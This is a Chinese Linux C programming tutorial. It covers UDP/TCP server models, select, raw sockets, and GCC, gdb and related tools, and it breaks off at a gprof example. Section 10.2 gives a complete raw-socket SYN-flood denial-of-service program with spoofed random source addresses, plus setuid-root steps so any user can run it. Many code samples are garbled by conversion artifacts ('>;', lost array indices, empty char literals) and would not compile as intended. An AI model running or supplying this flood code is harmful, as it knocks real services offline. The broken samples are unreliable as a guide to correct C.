9.1 循環伺服器:UDP伺服器

UDP循環伺服器的實作非常簡單:UDP伺服器每次從套接字上讀取一個用戶端的請求,處理

, 然後将結果傳回給客戶機.

可以用下面的算法來實作.

socket(...);

bind(...);

while(1)

{

recvfrom(...);

process(...);

sendto(...);

}

因為UDP是非面向連接配接的,沒有一個用戶端可以老是占住服務端. 隻要處理過程不是死循

環, 伺服器對于每一個客戶機的請求總是能夠滿足.

9.2 循環伺服器:TCP伺服器

TCP循環伺服器的實作也不難:TCP伺服器接受一個用戶端的連接配接,然後處理,完成了這個客

戶的所有請求後,斷開連接配接.

算法如下:

socket(...);

bind(...);

listen(...);

while(1)

{

accept(...);

while(1)

{

read(...);

process(...);

write(...);

}

close(...);

}

TCP循環伺服器一次隻能處理一個用戶端的請求.隻有在這個客戶的所有請求都滿足後,

伺服器才可以繼續後面的請求.這樣如果有一個用戶端占住伺服器不放時,其它的客戶機

都不能工作了.是以,TCP伺服器一般很少用循環伺服器模型的.

9.3 并發伺服器:TCP伺服器

為了彌補循環TCP伺服器的缺陷,人們又想出了并發伺服器的模型. 并發伺服器的思想是

每一個客戶機的請求并不由伺服器直接處理,而是伺服器建立一個 子程序來處理.

算法如下:

socket(...);

bind(...);

listen(...);

while(1)

{

accept(...);

if(fork(..)==0)

{

while(1)

{

read(...);

process(...);

write(...);

}

close(...);

exit(...);

}

close(...);

}

TCP并發伺服器可以解決TCP循環伺服器客戶機獨占伺服器的情況. 不過也同時帶來了一

個不小的問題.為了響應客戶機的請求,伺服器要建立子程序來處理. 而建立子程序是一

種非常消耗資源的操作.

9.4 并發伺服器:多路複用I/O

為了解決建立子程序帶來的系統資源消耗,人們又想出了多路複用I/O模型.

首先介紹一個函數select

int select(int nfds,fd_set *readfds,fd_set *writefds,

fd_set *except fds,struct timeval *timeout)

void FD_SET(int fd,fd_set *fdset)

void FD_CLR(int fd,fd_set *fdset)

void FD_ZERO(fd_set *fdset)

int FD_ISSET(int fd,fd_set *fdset)

一般的來說當我們在向檔案讀寫時,程序有可能在讀寫出阻塞,直到一定的條件滿足. 比

如我們從一個套接字讀資料時,可能緩沖區裡面沒有資料可讀(通信的對方還沒有 發送數

據過來),這個時候我們的讀調用就會等待(阻塞)直到有資料可讀.如果我們不 希望阻塞

,我們的一個選擇是用select系統調用. 隻要我們設定好select的各個參數,那麼當檔案

可以讀寫的時候select回"通知"我們 說可以讀寫了. readfds所有要讀的檔案檔案描述

符的集合

writefds所有要的寫檔案檔案描述符的集合

exceptfds其他的服要向我們通知的檔案描述符

timeout逾時設定.

nfds所有我們監控的檔案描述符中最大的那一個加1

在我們調用select時程序會一直阻塞直到以下的一種情況發生. 1)有檔案可以讀.2)有文

件可以寫.3)逾時所設定的時間到.

為了設定檔案描述符我們要使用幾個宏. FD_SET将fd加入到fdset

FD_CLR将fd從fdset裡面清除

FD_ZERO從fdset中清除所有的檔案描述符

FD_ISSET判斷fd是否在fdset集合中

使用select的一個例子

int use_select(int *readfd,int n)

{

fd_set my_readfd;

int maxfd;

int i;

maxfd=readfd[0];

for(i=1;i<n;i++)

if(readfd>;maxfd) maxfd=readfd;

while(1)

{

FD_ZERO(&my_readfd);

for(i=0;i<n;i++)

FD_SET(readfd,*my_readfd);

select(maxfd+1,& my_readfd,NULL,NULL,NULL);

for(i=0;i<n;i++)

if(FD_ISSET(readfd,&my_readfd))

{

we_read(readfd);

}

}

}

使用select後我們的伺服器程式就變成了.

初始話(socket,bind,listen);

while(1)

{

設定監聽讀寫檔案描述符(FD_*);

調用select;

如果是傾聽套接字就緒,說明一個新的連接配接請求建立

{

建立連接配接(accept);

加入到監聽檔案描述符中去;

}

否則說明是一個已經連接配接過的描述符

{

進行操作(read或者write);

}

}

多路複用I/O可以解決資源限制的問題.着模型實際上是将UDP循環模型用在了TCP上面.

這也就帶來了一些問題.如由于伺服器依次處理客戶的請求,是以可能會導緻有的客戶 會

等待很久.

9.5 并發伺服器:UDP伺服器

人們把并發的概念用于UDP就得到了并發UDP伺服器模型. 并發UDP伺服器模型其實是簡單

的.和并發的TCP伺服器模型一樣是建立一個子程序來處理的 算法和并發的TCP模型一樣

..

除非伺服器在處理用戶端的請求所用的時間比較長以外,人們實際上很少用這種模型.

9.6 一個并發TCP伺服器執行個體

#include <sys/socket.h>;

#include <sys/types.h>;

#include <netinet/in.h>;

#include <string.h>;

#include <errno.h>;

#define MY_PORT 8888

int main(int argc ,char **argv)

{

int listen_fd,accept_fd;

struct sockaddr_in client_addr;

int n;

if((listen_fd=socket(AF_INET,SOCK_STREAM,0))<0)

{

printf("Socket Error:%s/n/a",strerror(errno));

exit(1);

}

bzero(&client_addr,sizeof(struct sockaddr_in));

client_addr.sin_family=AF_INET;

client_addr.sin_port=htons(MY_PORT);

client_addr.sin_addr.s_addr=htonl(INADDR_ANY);

n=1;

setsockopt(listen_fd,SOL_SOCKET,SO_REUSEADDR,&n,sizeof(int));

if(bind(listen_fd,(struct sockaddr *)&client_addr,sizeof(client_addr))<0)

{

printf("Bind Error:%s/n/a",strerror(errno));

exit(1);

}

listen(listen_fd,5);

while(1)

{

accept_fd=accept(listen_fd,NULL,NULL);

if((accept_fd<0)&&(errno==EINTR))

continue;

else if(accept_fd<0)

{

printf("Accept Error:%s/n/a",strerror(errno));

continue;

}

if((n=fork())==0)

{

char buffer[1024];

close(listen_fd);

n=read(accept_fd,buffer,1024);

write(accept_fd,buffer,n);

close(accept_fd);

exit(0);

}

else if(n<0)

printf("Fork Error:%s/n/a",strerror(errno));

close(accept_fd);

}

}

你可以用我們前面寫用戶端程式來調試着程式,或者是用來telnet調試

--

網絡程式設計(10)

10. 原始套接字

我們在前面已經學習過了網絡程式的兩種套接字(SOCK_STREAM,SOCK_DRAGM).在這一章

裡面我們一起來學習另外一種套接字--原始套接字(SOCK_RAW). 應用原始套接字,我們可

以編寫出由TCP和UDP套接字不能夠實作的功能. 注意原始套接字隻能夠由有root權限的

人建立.

10.1 原始套接字的建立

int sockfd(AF_INET,SOCK_RAW,protocol)

可以建立一個原始套接字.根據協定的類型不同我們可以建立不同類型的原始套接字 比

如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.詳細的情況檢視 <netinet/in.h>; 下

面我們以一個執行個體來說明原始套接字的建立和使用

10.2 一個原始套接字的執行個體

還記得DOS是什麼意思嗎?在這裡我們就一起來編寫一個實作DOS的小程式. 下面是程式的

源代碼

#include <sys/socket.h>;

#include <netinet/in.h>;

#include <netinet/ip.h>;

#include <netinet/tcp.h>;

#include <stdlib.h>;

#include <errno.h>;

#include <unistd.h>;

#include <stdio.h>;

#include <netdb.h>;

#define DESTPORT 80

#define LOCALPORT 8888

void send_tcp(int sockfd,struct sockaddr_in *addr);

unsigned short check_sum(unsigned short *addr,int len);

int main(int argc,char **argv)

{

int sockfd;

struct sockaddr_in addr;

struct hostent *host;

int on=1;

if(argc!=2)

{

fprintf(stderr,"Usage:%s hostname/n/a",argv[0]);

exit(1);

}

bzero(&addr,sizeof(struct sockaddr_in));

addr.sin_family=AF_INET;

addr.sin_port=htons(DESTPORT);

if(inet_aton(argv[1],&addr.sin_addr)==0)

{

host=gethostbyname(argv[1]);

if(host==NULL)

{

fprintf(stderr,"HostName Error:%s/n/a",hstrerror(h_errno));

exit(1);

}

addr.sin_addr=*(struct in_addr *)(host->;h_addr_list[0]);

}

sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);

if(sockfd<0)

{

fprintf(stderr,"Socket Error:%s/n/a",strerror(errno));

exit(1);

}

setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));

setuid(getpid());

send_tcp(sockfd,&addr);

}

void send_tcp(int sockfd,struct sockaddr_in *addr)

{

char buffer[100];

struct ip *ip;

struct tcphdr *tcp;

int head_len;

head_len=sizeof(struct ip)+sizeof(struct tcphdr);

bzero(buffer,100);

ip=(struct ip *)buffer;

ip->;ip_v=IPVERSION;

ip->;ip_hl=sizeof(struct ip)>;>;2;

ip->;ip_tos=0;

ip->;ip_len=htons(head_len);

ip->;ip_id=0;

ip->;ip_off=0;

ip->;ip_ttl=MAXTTL;

ip->;ip_p=IPPROTO_TCP;

ip->;ip_sum=0;

ip->;ip_dst=addr->;sin_addr;

tcp=(struct tcphdr *)(buffer +sizeof(struct ip));

tcp->;source=htons(LOCALPORT);

tcp->;dest=addr->;sin_port;

tcp->;seq=random();

tcp->;ack_seq=0;

tcp->;doff=5;

tcp->;syn=1;

tcp->;check=0;

while(1)

{

ip->;ip_src.s_addr=random();

tcp->;check=check_sum((unsigned short *)tcp,

sizeof(struct tcphdr));

sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));

}

}

unsigned short check_sum(unsigned short *addr,int len)

{

register int nleft=len;

register int sum=0;

register short *w=addr;

short answer=0;

while(nleft>;1)

{

sum+=*w++;

nleft-=2;

}

if(nleft==1)

{

*(unsigned char *)(&answer)=*(unsigned char *)w;

sum+=answer;

}

sum=(sum>;>;16)+(sum&0xffff);

sum+=(sum>;>;16);

answer=~sum;

return(answer);

}

編譯一下,拿localhost做一下實驗,看看有什麼結果.(千萬不要試别人的啊). 為了讓普

通使用者可以運作這個程式,我們應該将這個程式的所有者變為root,且 設定setuid位

[[email protected] /root]#chown root DOS

[[email protected] /root]#chmod +s DOS

10.3 總結

原始套接字和一般的套接字不同的是以前許多由系統做的事情,現在要由我們自己來做了

.. 不過這裡面是不是有很多的樂趣呢. 當我們建立了一個TCP套接字的時候,我們隻是負

責把我們要發送的内容(buffer)傳遞給了系統. 系統在收到我們的資料後,回自動的調用

相應的子產品給資料加上TCP頭部,然後加上IP頭部. 再發送出去.而現在是我們自己建立各

個的頭部,系統隻是把它們發送出去. 在上面的執行個體中,由于我們要修改我們的源IP位址

,是以我們使用了setsockopt函數,如果我們隻是修改TCP資料,那麼IP資料一樣也可以由

系統來建立的.

--

網絡程式設計(11)

11. 後記

總算完成了網絡程式設計這個教程.算起來我差不多寫了一個星期,原來以為寫這個應該是

一件 不難的事,做起來才知道原來有很多的地方都比我想象的要難.我還把很多的東西都

省略掉了 不過寫完了這篇教程以後,我好象對網絡的認識又增加了一步.

如果我們隻是編寫一般的 網絡程式還是比較容易的,但是如果我們想寫出比較好的網

絡程式我們還有着遙遠的路要走. 網絡程式一般的來說都是多程序加上多線程的.為了處

理好他們内部的關系,我們還要學習 程序之間的通信.在網絡程式裡面有着許許多多的突

發事件,為此我們還要去學習更進階的 事件處理知識.現在的資訊越來越多了,為了處理

好這些資訊,我們還要去學習資料庫. 如果要編寫出有用的黑客軟體,我們還要去熟悉各

種網絡協定.總之我們要學的東西還很多很多.

看一看外國的軟體水準,看一看印度的軟體水準,寶島台灣的水準,再看一看我們自己的

軟體水準大家就會知道了什麼叫做差距.我們現在用的軟體有幾個是我們中國人自己編

寫的.

不過大家不要害怕,不用擔心.隻要我們還是清醒的,還能夠認清我們和别人的差距, 我

們就還有希望. 畢竟我們現在還年輕.隻要我們努力,認真的去學習,我們一定能夠學好的

..我們就可以追上别人直到超過别人!

相信一點:

别人可以做到的我們一樣可以做到,而且可以比别人做的更好!

勇敢的年輕人,為了我們偉大祖國的軟體産業,為了祖國的未來,努力的去奮鬥吧!祖國

會記住你們的!

hoyt

11.1 參考資料

<<實用UNIX程式設計>;>;---機械工業出版社.

<<Linux網絡程式設計>;>;--清華大學出版社.

9)Linux下C開發工具介紹

Linux的發行版中包含了很多軟體開發工具. 它們中的很多是用于 C 和 C++應用程式開發

的. 本文介紹了在 Linux 下能用于 C 應用程式開發和調試的工具. 本文的主旨是介紹如

何在 Linux 下使用 C 編譯器和其他 C 程式設計工具, 而非 C 語言程式設計的教程.

GNU C 編譯器

GNU C 編譯器(GCC)是一個全功能的 ANSI C 相容編譯器. 如果你熟悉其他作業系統或硬

件平台上的一種 C 編譯器, 你将能很快地掌握 GCC. 本節将介紹如何使用 GCC 和一些

GCC 編譯器最常用的選項.

使用 GCC

通常後跟一些選項和檔案名來使用 GCC 編譯器. gcc 指令的基本用法如下:

gcc [options] [filenames]

指令行選項指定的操作将在指令行上每個給出的檔案上執行. 下一小節将叙述一些你會最

常用到的選項.

GCC 選項

GCC 有超過100個的編譯選項可用. 這些選項中的許多你可能永遠都不會用到, 但一些主

要的選項将會頻繁用到. 很多的 GCC 選項包括一個以上的字元. 是以你必須為每個選項

指定各自的連字元, 并且就象大多數 Linux 指令一樣你不能在一個單獨的連字元後跟一

組選項. 例如, 下面的兩個指令是不同的:

gcc -p -g test.c

gcc -pg test.c

第一條指令告訴 GCC 編譯 test.c 時為 prof 指令建立剖析(profile)資訊并且把調試信

息加入到可執行的檔案裡. 第二條指令隻告訴 GCC 為 gprof 指令建立剖析資訊.

當你不用任何選項編譯一個程式時, GCC 将會建立(假定編譯成功)一個名為 a.out 的可

執行檔案. 例如, 下面的指令将在目前目錄下産生一個叫 a.out 的檔案:

gcc test.c

你能用 -o 編譯選項來為将産生的可執行檔案指定一個檔案名來代替 a.out. 例如, 将一

個叫 count.c 的 C 程式編譯為名叫 count 的可執行檔案, 你将輸入下面的指令:

gcc -o count count.c

------------------------------------------------------------------------------

--

注意: 當你使用 -o 選項時, -o 後面必須跟一個檔案名.

------------------------------------------------------------------------------

--

GCC 同樣有指定編譯器處理多少的編譯選項. -c 選項告訴 GCC 僅把源代碼編譯為目标代

碼而跳過彙編和連接配接的步驟. 這個選項使用的非常頻繁因為它使得編譯多個 C 程式時速

度更快并且更易于管理. 預設時 GCC 建立的目标代碼檔案有一個 .o 的擴充名.

-S 編譯選項告訴 GCC 在為 C 代碼産生了彙編語言檔案後停止編譯. GCC 産生的彙編語

言檔案的預設擴充名是 .s . -E 選項訓示編譯器僅對輸入檔案進行預處理. 當這個選項

被使用時, 預處理器的輸出被送到标準輸出而不是儲存在檔案裡.

優 化 選 項

當你用 GCC 編譯 C 代碼時, 它會試着用最少的時間完成編譯并且使編譯後的代碼易于調

試. 易于調試意味着編譯後的代碼與源代碼有同樣的執行次序, 編譯後的代碼沒有經過優

化. 有很多選項可用于告訴 GCC 在耗費更多編譯時間和犧牲易調試性的基礎上産生更小

更快的可執行檔案. 這些選項中最典型的是-O 和 -O2 選項.

-O 選項告訴 GCC 對源代碼進行基本優化. 這些優化在大多數情況下都會使程式執行的更

快. -O2 選項告訴 GCC 産生盡可能小和盡可能快的代碼. -O2 選項将使編譯的速度比使

用 -O 時慢. 但通常産生的代碼執行速度會更快.

除了 -O 和 -O2 優化選項外, 還有一些低級選項用于産生更快的代碼. 這些選項非常的

特殊, 而且最好隻有當你完全了解這些選項将會對編譯後的代碼産生什麼樣的效果時再去

使用. 這些選項的較長的描述, 請參考 GCC 的指南頁, 在指令行上鍵入 man gcc .

調試和剖析選項

GCC 支援數種調試和剖析選項. 在這些選項裡你會最常用到的是 -g 和 -pg 選項.

-g 選項告訴 GCC 産生能被 GNU 調試器使用的調試資訊以便調試你的程式. GCC 提供了

一個很多其他 C 編譯器裡沒有的特性, 在 GCC 裡你能使 -g 和 -O (産生優化代碼)聯用

.. 這一點非常有用因為你能在與最終産品盡可能相近的情況下調試你的代碼. 在你同時使

用這兩個選項時你必須清楚你所寫的某些代碼已經在優化時被 GCC 作了改動. 關于調試

C 程式的更多資訊請看下一節"用 gdb 調試 C 程式" .

-pg 選項告訴 GCC 在你的程式裡加入額外的代碼, 執行時, 産生 gprof 用的剖析資訊以

顯示你的程式的耗時情況. 關于 gprof 的更多資訊請參考 "gprof" 一節.

用 gdb 調試 GCC 程式

Linux 包含了一個叫 gdb 的 GNU 調試程式. gdb 是一個用來調試 C 和 C++ 程式的強力

調試器. 它使你能在程式運作時觀察程式的内部結構和記憶體的使用情況. 以下是 gdb 所

提供的一些功能:

它使你能監視你程式中變量的值.

它使你能設定斷點以使程式在指定的代碼行上停止執行.

它使你能一行行的執行你的代碼.

在指令行上鍵入 gdb 并按Enter鍵就可以運作 gdb 了, 如果一切正常的話, gdb 将被啟動

并且你将在螢幕上看到類似的内容:

GNU gdb 5.0

Copyright 2000 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux".

(gdb)

當你啟動 gdb 後, 你能在指令行上指定很多的選項. 你也可以以下面的方式來運作 gdb

:

gdb <fname>;

當你用這種方式運作 gdb , 你能直接指定想要調試的程式. 這将告訴gdb 裝入名為

fname 的可執行檔案. 你也可以用 gdb 去檢查一個因程式異常終止而産生的 core 檔案,

或者與一個正在運作的程式相連. 你可以參考 gdb 指南頁或在指令行上鍵入 gdb -h 得

到一個有關這些選項的說明的簡單清單.

為調試編譯代碼(Compiling Code for Debugging)

為了使 gdb 正常工作, 你必須使你的程式在編譯時包含調試資訊. 調試資訊包含你程式

裡的每個變量的類型和在可執行檔案裡的位址映射以及源代碼的行号. gdb 利用這些信

息使源代碼和機器碼相關聯.

在編譯時用 -g 選項打開調試選項.

gdb 基本指令

gdb 支援很多的指令使你能實作不同的功能. 這些指令從簡單的檔案裝入到允許你檢查所

調用的堆棧内容的複雜指令, 表27.1列出了你在用 gdb 調試時會用到的一些指令. 想了

解 gdb 的詳細使用請參考 gdb 的指南頁.

基本 gdb 指令.

命 令 描 述

file 裝入想要調試的可執行檔案.

kill 終止正在調試的程式.

list 列出産生執行檔案的源代碼的一部分.

next 執行一行源代碼但不進入函數内部.

step 執行一行源代碼而且進入函數内部.

run 執行目前被調試的程式

quit 終止 gdb

watch 使你能監視一個變量的值而不管它何時被改變.

print 顯示表達式的值

break 在代碼裡設定斷點, 這将使程式執行到這裡時被挂起.

make 使你能不退出 gdb 就可以重新産生可執行檔案.

shell 使你能不離開 gdb 就執行 UNIX shell 指令.

gdb 支援很多與 UNIX shell 程式一樣的指令編輯特征. 你能象在 bash 或 tcsh裡那樣

按 Tab 鍵讓 gdb 幫你補齊一個唯一的指令, 如果不唯一的話 gdb 會列出所有比對的命

令. 你也能用光标鍵上下翻動曆史指令.

gdb 應用舉例

本節用一個執行個體教你一步步的用 gdb 調試程式. 被調試的程式相當的簡單, 但它展示了

gdb 的典型應用.

下面列出了将被調試的程式. 這個程式被稱為 hello , 它顯示一個簡單的問候, 再用反

序将它列出.

#include <stdio.h>;

static void my_print (char *);

static void my_print2 (char *);

main ()

{

char my_string[] = "hello world!";

my_print (my_string);

my_print2 (my_string);

}

void my_print (char *string)

{

printf ("The string is %s ", string);

}

void my_print2 (char *string)

{

char *string2;

int size, i;

size = strlen (string);

string2 = (char *) malloc (size + 1);

for (i = 0; i < size; i++)

string2[size - i] = string;

string2[size+1] = '';

printf ("The string printed backward is %s ", string2);

}

用下面的指令編譯它:

gcc -g -o hello hello.c

這個程式執行時顯示如下結果:

../hello

The string is hello world!

The string printed backward is

輸出的第一行是正确的, 但第二行列印出的東西并不是我們所期望的. 我們所設想的輸出

應該是:

The string printed backward is !dlrow olleh

由于某些原因, my_print2 函數沒有正常工作. 讓我們用 gdb 看看問題究竟出在哪兒,

先鍵入如下指令:

gdb hello

------------------------------------------------------------------------------

--

注意: 記得在編譯 hello 程式時把調試選項打開.

------------------------------------------------------------------------------

--

如果你在輸入指令時忘了把要調試的程式作為參數傳給 gdb , 你可以在 gdb 提示符下用

file 指令來載入它:

(gdb) file hello

這個指令将載入 hello 可執行檔案就象你在 gdb 指令行裡裝入它一樣.

這時你能用 gdb 的 run 指令來運作 hello 了. 當它在 gdb 裡被運作後結果大約會象這

樣:

(gdb) run

Starting program: /root/hello

The string is hello world!

The string printed backward is

Program exited with code 040

這個輸出和在 gdb 外面運作的結果一樣. 問題是, 為什麼反序列印沒有工作? 為了找出

症結所在, 我們可以在 my_print2 函數的 for 語句後設一個斷點, 具體的做法是在 gdb

提示符下鍵入 list 指令三次, 列出源代碼:

(gdb) list

(gdb) list

(gdb) list

------------------------------------------------------------------------------

--

技巧: 在 gdb 提示符下按回車健将重複上一個指令.

------------------------------------------------------------------------------

--

第一次鍵入 list 指令的輸出如下:

1 #include <stdio.h>;

2

3 static void my_print (char *);

4 static void my_print2 (char *);

5

6 main ()

7 {

8 char my_string[] = "hello world!";

9 my_print (my_string);

10 my_print2 (my_string);

如果按下回車, gdb 将再執行一次 list 指令, 給出下列輸出:

11 }

12

13 void my_print (char *string)

14 {

15 printf ("The string is %s ", string);

16 }

17

18 void my_print2 (char *string)

19 {

20 char *string2;

再按一次回車将列出 hello 程式的剩餘部分:

21 int size, i;

22

23 size = strlen (string);

24 string2 = (char *) malloc (size + 1);

25 for (i = 0; i < size; i++)

26 string2[size - i] = string;

27 string2[size+1] = '';

28

29 printf ("The string printed backward is %s ", string2);

30 }

根據列出的源程式, 你能看到要設斷點的地方在第26行, 在 gdb 指令行提示符下鍵入如

下指令設定斷點:

(gdb) break 26

gdb 将作出如下的響應:

Breakpoint 1 at 0x804857c: file hello.c, line 26.

(gdb)

現在再鍵入 run 指令, 将産生如下的輸出:

Starting program: /root/hello

The string is hello world!

Breakpoint 1, my_print2 (string=0xbffffab0 "hello world!") at hello.c:26

26 string2[size - i] = string;

你能通過設定一個觀察 string2[size - i] 變量的值的觀察點來看出錯誤是怎樣産生的,

做法是鍵入:

(gdb) watch string2[size - i]

gdb 将作出如下回應:

Hardware watchpoint 2: string2[size - i]

現在可以用 next 指令來一步步的執行 for 循環了:

(gdb) next

經過第一次循環後, gdb 告訴我們 string2[size - i] 的值是 `h`. gdb 用如下的顯示

來告訴你這個資訊:

Hardware watchpoint 2: string2[size - i]

Old value = 0 '00'

New value = 104 'h'

my_print2 (string=0xbffffab0 "hello world!") at hello.c:25

25 for (i = 0; i < size; i++)

這個值正是期望的. 後來的數次循環的結果都是正确的. 當 i=11 時, 表達式

string2[size - i] 的值等于 `!`, size - i 的值等于 1, 最後一個字元已經拷到新串

裡了.

如果你再把循環執行下去, 你會看到已經沒有值配置設定給 string2[0] 了, 而它是新串的

第一個字元, 因為 malloc 函數在配置設定記憶體時把它們初始化為空(null)字元. 是以

string2 的第一個字元是空字元. 這解釋了為什麼在列印 string2 時沒有任何輸出了.

現在找出了問題出在哪裡, 修正這個錯誤是很容易的. 你得把代碼裡寫入 string2 的第

一個字元的的偏移量改為 size - 1 而不是 size. 這是因為 string2 的大小為 12, 但

起始偏移量是 0, 串内的字元從偏移量 0 到 偏移量 10, 偏移量 11 為空字元保留.

改正方法非常簡單. 這是這種解決辦法的代碼:

#include <stdio.h>;

static void my_print (char *);

static void my_print2 (char *);

main ()

{

char my_string[] = "hello world!";

my_print (my_string);

my_print2 (my_string);

}

void my_print (char *string)

{

printf ("The string is %s ", string);

}

void my_print2 (char *string)

{

char *string2;

int size, i;

size = strlen (string);

string2 = (char *) malloc (size + 1);

for (i = 0; i < size; i++)

string2[size -1 - i] = string;

string2[size] = '';

printf ("The string printed backward is %s ", string2);

}

如果程式産生了core檔案,可以用gdb hello core指令來檢視程式在何處出錯。如在函數

my_print2()中,如果忘記了給string2配置設定記憶體 string2 = (char *) malloc (size +

1);,很可能就會core dump.

另外的 C 程式設計工具

xxgdb

xxgdb 是 gdb 的一個基于 X Window 系統的圖形界面. xxgdb 包括了指令行版的 gdb

上的所有特性. xxgdb 使你能通過按按鈕來執行常用的指令. 設定了斷點的地方也用圖

形來顯示.

你能在一個 Xterm 視窗裡鍵入下面的指令來運作它:

xxgdb

你能用 gdb 裡任何有效的指令行選項來初始化 xxgdb . 此外 xxgdb 也有一些特有的命

令行選項, 表 27.2 列出了這些選項.

表 27.2. xxgdb 指令行選項.

選 項 描 述

db_name 指定所用調試器的名字, 預設是 gdb.

db_prompt 指定調試器提示符, 預設為 gdb.

gdbinit 指定初始化 gdb 的指令檔案的檔案名, 預設為 .gdbinit.

nx 告訴 xxgdb 不執行 .gdbinit 檔案.

bigicon 使用大圖示.

calls

你可以在 sunsite.unc.edu FTP 站點用下面的路徑:

/pub/Linux/devel/lang/c/calls.tar.Z

來取得 calls , 一些舊版本的 Linux CD-ROM 發行版裡也附帶有. 因為它是一個有用的

工具, 我們在這裡也介紹一下. 如果你覺得有用的話, 從 BBS, FTP, 或另一張CD-ROM 上

弄一個拷貝. calls 調用 GCC 的預處理器來處理給出的源程式檔案, 然後輸出這些檔案

的裡的函數調用樹圖.

注意: 在你的系統上安裝 calls , 以超級使用者身份登入後執行下面的步驟: 1. 解壓和

untar 檔案. 2. cd 進入 calls untar 後建立的子目錄. 3. 把名叫 calls 的檔案移動

到 /usr/bin 目錄. 4. 把名叫 calls.1 的檔案移動到目錄 /usr/man/man1 . 5. 删除

/tmp/calls 目錄. 這些步驟将把 calls 程式和它的指南頁安裝載你的系統上.

------------------------------------------------------------------------------

--

當 calls 列印出調用跟蹤結果時, 它在函數後面用中括号給出了函數所在檔案的檔案名:

main [hello.c]

如果函數并不是向 calls 給出的檔案裡的, calls 不知道所調用的函數來自哪裡, 則隻

顯示函數的名字:

printf

calls 不對遞歸和靜态函數輸出. 遞歸函數顯示成下面的樣子:

fact <<< recursive in factorial.c >;>;>;

靜态函數象這樣顯示:

total [static in calculate.c]

作為一個例子, 假設用 calls 處理下面的程式:

#include <stdio.h>;

static void my_print (char *);

static void my_print2 (char *);

main ()

{

char my_string[] = "hello world!";

my_print (my_string);

my_print2 (my_string);

my_print (my_string);

}

void count_sum()

{

int i,sum=0;

for(i=0; i<1000000; i++)

sum += i;

}

void my_print (char *string)

{

count_sum();

printf ("The string is %s ", string);

}

void my_print2 (char *string)

{

char *string2;

int size, i,sum =0;

count_sum();

size = strlen (string);

string2 = (char *) malloc (size + 1);

for (i = 0; i < size; i++) string2[size -1 - i] = string;

string2[size] = '';

for(i=0; i<5000000; i++)

sum += i;

printf ("The string printed backward is %s ", string2);

}

将産生如下的輸出:

1 __underflow [hello.c]

2 main

3 my_print [hello.c]

4 count_sum [hello.c]

5 printf

6 my_print2 [hello.c]

7 count_sum

8 strlen

9 malloc

10 printf

calls 有很多指令行選項來設定不同的輸出格式, 有關這些選項的更多資訊請參考 calls

的指南頁. 方法是在指令行上鍵入 calls -h .

calltree

calltree與calls類似,初了輸出函數調用樹圖外,還有其它詳細的資訊。

可以從sunsite.unc.edu FTP 站點用下面的路徑

:/pub/Linux/devel/lang/c/calltree.tar.gz得到calltree.

cproto

cproto 讀入 C 源程式檔案并自動為每個函數産生原型申明. 用 cproto 可以在寫程式時

為你節省大量用來定義函數原型的時間.

如果你讓 cproto 處理下面的代碼(cproto hello.c):

#include <stdio.h>;

static void my_print (char *);

static void my_print2 (char *);

main ()

{

char my_string[] = "hello world!";

my_print (my_string);

my_print2 (my_string);

}

void my_print (char *string)

{

printf ("The string is %s ", string);

}

void my_print2 (char *string)

{

char *string2;

int size, i;

size = strlen (string);

string2 = (char *) malloc (size + 1);

for (i = 0; i < size; i++)

string2[size -1 - i] = string;

string2[size] = '';

printf ("The string printed backward is %s ", string2);

}

你将得到下面的輸出:

int main(void);

int my_print(char *string);

int my_print2(char *string);

這個輸出可以重定向到一個定義函數原型的包含檔案裡.

indent

indent 實用程式是 Linux 裡包含的另一個程式設計實用工具. 這個工具簡單的說就為你的代

碼産生美觀的縮進的格式. indent 也有很多選項來指定如何格式化你的源代碼.這些選項

的更多資訊請看indent 的指南頁, 在指令行上鍵入 indent -h .

下面的例子是 indent 的預設輸出:

運作 indent 以前的 C 代碼:

#include <stdio.h>;

static void my_print (char *);

static void my_print2 (char *);

main ()

{

char my_string[] = "hello world!";

my_print (my_string);

my_print2 (my_string);

}

void my_print (char *string)

{

printf ("The string is %s ", string);

}

void my_print2 (char *string)

{

char *string2; int size, i;

size = strlen (string);

string2 = (char *) malloc (size + 1);

for (i = 0; i < size; i++) string2[size -1 - i] = string;

string2[size] = '';

printf ("The string printed backward is %s ", string2);

}

運作 indent 後的 C 代碼:

#include <stdio.h>;

static void my_print (char *);

static void my_print2 (char *);

main ()

{

char my_string[] = "hello world!";

my_print (my_string);

my_print2 (my_string);

}

void

my_print (char *string)

{

printf ("The string is %s ", string);

}

void

my_print2 (char *string)

{

char *string2;

int size, i;

size = strlen (string);

string2 = (char *) malloc (size + 1);

for (i = 0; i < size; i++)

string2[size - 1 - i] = string;

string2[size] = '';

printf ("The string printed backward is %s ", string2);

}

indent 并不改變代碼的實質内容, 而隻是改變代碼的外觀. 使它變得更可讀, 這永遠是

一件好事.

gprof

gprof 是安裝在你的 Linux 系統的 /usr/bin 目錄下的一個程式. 它使你能剖析你的程

序進而知道程式的哪一個部分在執行時最費時間.

gprof 将告訴你程式裡每個函數被調用的次數和每個函數執行時所占時間的百分比. 你如

果想提高你的程式性能的話這些資訊非常有用.

為了在你的程式上使用 gprof, 你必須在編譯程式時加上 -pg 選項. 這将使程式在每次

執行時産生一個叫 gmon.out 的檔案. gprof 用這個檔案産生剖析資訊.

在你運作了你的程式并産生了 gmon.out 檔案後你能用下面的指令獲得剖析資訊:

gprof <program_name>;

參數 program_name 是産生 gmon.out 檔案的程式的名字.

為了說明問題,在程式中增加了函數count_sum()以消耗CPU時間,程式如下

#include <stdio.h>;

static void my_print (char *);

static void my_print2 (char *);

main ()

{

char my_string[] = "hello world!";

my_print (my_string);

my_print2 (my_string);

my_print (my_string);

}

void count_sum()

{

int i,sum=0;

for(i=0; i<1000000; i++)

sum += i;

}

void my_print (char *string)

{

count_sum();

printf ("The string is %s ", string);

}

void my_print2 (char *string)

{

char *string2;

int size, i,sum =0;

count_sum();

size = strlen (string);

string2 = (char *) malloc (size + 1);

for (i = 0; i < size; i++) string2[size -1 - i] = string;

string2[size] = '';

for(i=0; i<5000000; i++)

sum += i;

printf ("The string printed backward is %s ", string2);

}

$ gcc -pg -o hello hello.c

$ ./hello

$ gprof hello | more

将産生以下的輸出

Flat profile:

